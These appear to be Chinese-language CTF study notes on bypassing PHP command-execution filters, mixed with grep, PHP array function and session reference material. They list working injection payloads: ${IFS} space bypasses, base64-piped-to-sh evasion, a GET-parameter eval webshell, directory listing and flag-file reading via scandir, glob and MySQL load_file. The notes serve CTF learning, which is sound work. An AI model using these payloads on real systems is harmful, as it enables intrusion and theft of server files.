命令执行

命令执行的基本绕过

1. 空格过滤

1.> < <> 重定向符 2.%09(需要php环境) 3.${IFS} 4.$IFS$9 5.$IFS\ 6.{cat,flag.php} //用逗号实现了空格功能 7.%20 8.%09

注:在eval使用带有$的字符串时,需要进行用\转义,因为$在php中有特殊含义

2.*敏感字符过滤*

利用变量拼接

$a=l;$b=s;$a$b 拼接起来就是:ls(用来展示文件目录的)

利用base64编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|sh Y2F0IGZsYWcucGhw|base64是cat flag.php的base64的编码

利用单引号,双引号,反斜线,1 , 1,1,@等来绕过

1.ca""t fla""g ​ 2.ca\t fl\ag ​ 3.c$1at gh$@twf01.txt ​ 4.ca''t fl''ag

内敛绕过,反引号可以命令执行

cat ls:就是将所有的文件全部执行

利用Linux的环境变量

\1. echo ${PATH} ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin \2. echo ${PATH:1:9}//usr/local \3. ${PATH:5:1} //l \4. ${PATH:2:1} //s \5. ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令 \6. ${PATH:5:1}s //拼接后是ls,执行命令 利用的就是对字符串的拼接与截断

利用通配符绕过

匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

3.*cat过滤***(查看网页源码)**

more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep cp: mv(英文全拼:move file)命令用来为文件或目录改名、或将文件或目录移入其它位置

bin目录* bin为binary的简写,主要放置一些系统的必备执行档(可执行命令)例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

paste拼接文件并返回文件内容

4.*括号绕过*

不使用括号的函数

1.echo 2.print 3.die 4.include 5.require 6.include_once 7.require_once 8.isset 9.unset

5.*分号绕过*

?>

6.php

<?= <?php 段标签

2.文件包含

#included和require可以直接读txt文件,但是不能直接读php文件*

3.命令分隔

|(管道符):前面语句的输出作为后面语句的输入 &:不管前面的语句的对否,后面的语句都要执行 ;:前面的语句和后面的语句依次执行 ||:只有当前面的语句否,后面的语句才会执行 &&:只有当前面的语句真,后面的语句才会执行

4.grep匹配

grep 是用于匹配输入数据中符合条件的字符串的工具,其匹配过程支持正则表达式,因而匹配能力非常强大。grep 可以从文件或者标准输入设备中读取数据,若不指定任何文件名称,或是所给予的文件名为 -,则 grep 会从标准输入设备读取数据,否则从文件读取数据进行匹配。

grep [option] pattern file [file2…]

1 普通全匹配

grep apple file.txt #匹配结果如下,会直接列出匹配的行 apple apple

2 正则表达式匹配 匹配行开头:^ grep ^a file.txt //匹配 a 开头的行,注意是要该行的开头是 a 才会匹配。如果不是 在开头出现,即使中间出现了也不会匹配该行 匹配行结尾:$ grep a$ file.txt //匹配 a 结尾的行,注意是要该行的结尾是 a 才会匹配。

匹配单词开头:< grep '<app' #匹配app开头的单词所在的行,例如apple,注意要有引号

匹配单词结尾:> grep 'le>' #匹配le结尾的单词所在的行,例如apple,注意要有引号

单词锁定匹配:\b grep '\bgrep\b' #只匹配单词grep,例如不会匹配到grepa

字符匹配 . //grep .a file.txt #匹配任意一个字符 例如 aa,ba等

[] //grep "[abc]c" file.txt #匹配[]里的任意一个字符,例如ac或者bc或者 cc,注意加引号 grep "[a-z]a" file.txt #匹配a-z间的26个字母任意一个字符,例如aa [^] //grep "aba" #匹配除ab之外的任意一个字符,例如da \w //grep "\w" file.txt #匹配文字和数字字符,也就是[A-Za-z0-9]

\W //grep "\W" file.txt #\w的反置形式,匹配一个或多个非单词字符,如点号 句号等

次数限定匹配

  • //grep "a*b" file.text # *前面的字符重复0到多次,例如b,ab,aab

{m} //grep "x{m}" file.text #重复字符x,m次,如:grep '0{3}'匹配 包含3个0的行

{m,} //grep "x{m,}" file.text #重复字符x,至少m次,如:'0{5,}'匹配至 少有5个0的行

{m,n} //grep "x{m,n}" #重复字符x,至少m次,不多于n次,如:'0\ {5,10}'匹配5--10个0的行

拓展匹配模式 ? //grep -E 'go?d' file.txt #?匹配0个或1个在其之前的字符,例如这里匹配 gd,god

  • //grep -E 'go+d' file.txt #?匹配1个或多个在其之前的字符,例如这里匹配 god,good等

() //grep -E 'g(oo)d' file.text #匹配括号里的字符串,一般都是和其他匹配 模式一起使用,例如 grep -E 'g(oo)?d' file.text

| //grep -E 'god|good' file.txt #匹配被|分隔的多个字符串,例如此例匹配 god或者good

注:1.对于标准 grep,如果在扩展元字符前面加\,grep 会自动启用扩展选项-E 2.当我们想要把上面的匹配模式所用到的字符当做普通字符来匹配,需要用到转义字 符"\",不过如果这些特殊字符是位于"[]"当做的时候,大部分都会自动转义为 普通字符了,除了"-"或者"^"等极少数字符以外。

option 参数

1 影响查找过程 -a //将二进制文档以文本的方式来查找 -d <动作> //当指定要查找的含有目录(例如 grep apple ./*),必须使用这项参数, 否则grep指令将回报信息并停止动作。其中动作支持,skip:跳过目录, recurse:递归读取目录的数据 -E //开启对拓展匹配模式的支持,如上面的例子 -f //指定匹配模式规则文件,其内容含有一个或多个匹配模式规则,格式为每行一 个匹配模式规则。 -F //等同于fgrep命令,也就是fast grep,会把所有的字符都看作普通字符, 也就是说正则表达式中的所有字符表示回其自身的字面意义,不再特殊。 -i //忽略字符大小写的差别 -r/-R //此参数的效果和指定"-d recurse"参数相同。 -w //单词匹配,等同于 "<word>"或者"\bword\b" -y //忽略关键字符的大小写。(跟-i参数相同)

2 影响打印结果

-A <num> //除了显示符合模式的那一列之外,再显示该行之后num行的内容 -B <num> //除了显示符合模式的那一列之外,再显示该行之前num行的内容 -b //在匹配到行的开头标示该行的第一个字符前面总共多少byte数据 -color //以特定颜色高亮显示匹配关键字 -c //仅显示匹配行的总行数 -C <num> //除了匹配的那一行之外,并显示该行之前后各num行的内容,其中C是可以省 略的,可以直接 grep -4 apple file.txt -h //在显示匹配的那一行之前,不显示该行所属的文件名称(不加这个参数,匹配 多个文件的时候会显示命中文件的名字) -H //在显示匹配的那一行之前,表示该行所属的文件名称(不加这个参数,匹配单 个文件的时候不会显示命中文件的名字) -l //只显示命中的文件的名称 -L //只显示没命中的文件的名称 -n //显示命中的行所在的行数 -o //只显示匹配的部分,不显示该行其他的部分 -P //使用perl的正则表达式语法,因为perl的正则更加多元化,能实现更加复杂 的场景。典型用法是匹配指定字符串之间的字符。(-e或-E是匹配扩展正则 表达式,-P是匹配perl正则表达式) -q //不显示任何信息 -s //不显示错误信息 -v //显示不包含匹配文本的所有行 -V //显示版本信息 -x //只显示整行都符合的列。

5.构造无字母数字的webshell

思路:

\1. 利用位运算(取反,异或,取或)

\2. 利用自增运算符

\3. shell下可以利用 . 来执行任意脚本Linux文件名支持用glob通配符代替

6.用其它的命令执行函数代替被过滤的函数

system() //有回显 passthru() //用于执行系统命令的,并且会将执行后的结果进行输出,主要运用于 unix系统 exec() //函数不会将执行后的结果输出,与system功能一样 shell_exec()//用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进 行输出。 popen() //函数会将执行后的系统命令结果用一个文件指针的形式返回 proc_open() //执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数 pcntl_exec() 反引号 同shell_exec()

7.用已知参数传入另一个无限制参数,构造木马

c=eval($_GET[1]);&1=system('');

8.$(( ))与整数运算 57

$(()) 0 ~$(()) -0 $((~$(()))) -1

9.脚本
10.复制重命名绕过(通过复制或者重命名读取php文件内容,然后访问文件得到flag)

copy("flag.php","flag.txt"); rename("flag.php","flag.txt");

11.fopen*

fread():读取文件(可安全用于二进制文件),返回文件的字符串内容,失败时返回false fread(fopen($filename,"r"), $size);

fgets():从文件指针中读取一行 print_r(fgets(fopen($filename, "r"))); // 读取一行

fgetc():从文件指针中读取字符

fgetss():print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一 行并过滤掉 HTML 标记

fgetcsv():从文件指针中读入一行并解析 CSV 字段 print_r(fgetcsv(fopen($filename,"r"), $size));

fpassthru():输出文件指针处的所有剩余数据。该函数将给定的文件指针从当前的位置读 取到 EOF,并把结果写到输出缓冲区。 fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF

fscanf() — 从文件中格式化输入 print_r(fscanf(fopen("flag", "r"),"%s"))

fopen打开文件指针,popen打开文件指针 print_r(fread(popen("cat flag", "r"), $size));

构造形式c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} c=$a=fopen("flag.php","r");echo fread($a,"1000");

12.路径读取

c=print_r(scandir(dirname('FILE'))); file_get_contents(),以字符串的形式从文件中读取内容, file_put_contents(),从文件中写入内容,可以传马进去,文件上传就是用的这个 函数 readfile("flag.php");输出文件内容 var_dump(file(" ")); file协议:把整个文件读入一个数组中 file(string $filename, int $flags = 0, resource $context = ?): array filename文件的路径。返回数组形式的文件内容。数组的每个元素对应于 文件中的一行(结尾会附加换行符)。 失败时,file() 返回 false php_strip_whitespace()将注释空白过滤后再返回文件内容 c=print_r(get_defined_vars());输出注册变量 c=var_dump(scandir("/"));扫描根目录

global协议 c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

DirectoryIterator('glob:///*')

13.文件高亮

highlight_file("flag.php"); show_source("flag.php");

14.exit()

15.mysql load_file读取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0); select load_file()根据文件路径读取文件,然后url编码。

16.命令接口 77
17.双写绕过 执行第二个命令写到黑洞
php中的文件操作函数

\1. FILE_:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件 名。自 PHP 4.0.2 起,FILE 总是包含一个绝对路径(如果是符号连接,则是解析 后的绝对路径),而在此之前的版本有时会包含一个相对路径。

\2. dirname():返回路径中的目录部分 dirname(string $path, int $levels = 1): string path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。 返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。 basename() - 返回路径中的文件名部分 pathinfo() - 返回文件路径的信息 realpath() - 返回规范化的绝对路径名

3.scandir():函数返回指定目录中的文件和目录的数组。 scandir(directory,sorting_order,context); 第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序 第三个参数,可选,表示规定目录句柄的环境。 返回值:文件和目录的数组。

4.array_reverse():返回单元顺序相反的数组 array_reverse(array $array, bool $preserve_keys = false) array:输入的数组。 preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。

5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。 补充: current() - 返回数组中的当前值 end() - 将数组的内部指针指向最后一个单元 prev() - 将数组的内部指针倒回一位 reset() - 将数组的内部指针指向第一个单元 each() - 返回数组中当前的键/值对并将数组指针向前移动一步

6.highlight_file()和show_source():都是可以将文件的内容展示出来。 7.print_r():可以查看内容 8.pos():返回数组中当前元素的值,在每个数组的内部都有一个内部指针指着数组的当前元素,初始的时候是指向数组的第一个元素 ##拓展 9.current():返回数组中当前元素的值 10.next():将内部指针指向数组中的下一个元素,并输出。 11.prev():将内部指针指向数组中的上一个元素,并输出。 12.end():将内部指针指向数组中的最后一个元素,并输出。 13.reset():将内部指针指向数组中的第一个元素,并输出。 14.ench():返回当前元素的键名和键值,并将内部指针向前移动,但是在PHP 7.2.0被废除了。 15.localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

ession是什么,作用是什么? 当用户访问到一个服务器,如果服务器启用Session,服务器就要为该用户创建一个SESSION,在创建这个SESSION的时候,服务器首先检查这个用户发来的请求里是否包含 了一个SESSION ID,如果包含了一个SESSION ID则说明之前该用户已经登陆过并为此用 户创建过SESSION,那服务器就按照这个SESSION ID把这个SESSION在服务器的内存中 查找出来(如果查找不到,就有可能为他新创建一个),如果客户端请求里不包含有SESSION ID,则为该客户端创建一个SESSION并生成一个与此SESSION相关的SESSION ID。这个 SESSION ID是唯一的、不重复的、不容易找到规律的字符串,这个SESSION ID将被在本 次响应中返回到客户端保存,而保存这个SESSION ID的正是COOKIE,这样在交互过程中 浏览器可以自动的按照规则把这个标识发送给服务器

会话又是什么? 会话就是session,主要为了暂时存储用户的信息,提高浏览器跟服务器交互的效率,避免重复。

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。 列出ls中所有的ASCII文本: strings /bin/ls 列出ls中所有的ASCII文本: cat /bin/ls strings 查找ls中包含libc的字符串,不区分大小写: strings /bin/ls | grep -i libc